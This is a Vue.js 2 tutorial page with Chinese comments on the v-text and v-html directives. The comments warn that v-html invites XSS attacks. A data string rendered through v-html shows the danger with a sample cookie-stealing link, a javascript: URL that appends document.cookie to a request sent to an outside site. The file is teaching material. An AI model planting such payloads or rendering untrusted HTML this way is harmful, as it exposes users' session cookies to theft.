<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2.7.8/dist/vue.js" type="text/javascript"></script>
</head>
<body>
    <!-- 
        我们学过的指令:
            v-bind :·单向绑定解析表达式,可简写为
            v-model:双向数据绑定
            v-for:遍历数组/对象/字符串
            v-on:绑定事件监听,可简写为@
            v-if:条件渲染（动态控制节点是否存存在)
            v-else:条件渲染（动态控制节点是否存存在)
            v-show:条件渲染（动态控制节点是否展示)

     -->
    <div id="box">
        <h3>{{name}}</h3>

         <!-- 
            v-text指令
                1.作用:向其所在的节点中渲染文本内容。
                2.与插值语法的区别:v-text会替换掉节点中的内容，{{xx}}则不会
          -->
          <h3 v-text="name"></h3>
          <!-- 
            v-html指令:
                1.作用:向指定节点中渲染包含html结构的内容。
                2.与插值语法的区别:
                    (1).v-html会替换掉节点州所有的内容，{{xx}}则不会。
                    (2).v-html可以识别html结构。
                3.严重注意:v-htm1有安全性问题!!!!
                    (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
                    (2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上!

           -->
          <p v-html="str2"></p>
    </div>

    <script>
        Vue.config.productionTip = false;  //阻止vue在启动时生成生产提示
        //创建实例
        let vm = new Vue({
            el:"#box",
            data:{
                name:'suliang',
                str1:"<h4>suliang</h4>",
                str2:"<a href=javascript:location.href='http://www.baidu.com?' + document.cookie>点击获取cookie -</a>"
            }
        })
       
    </script>
</body>
</html>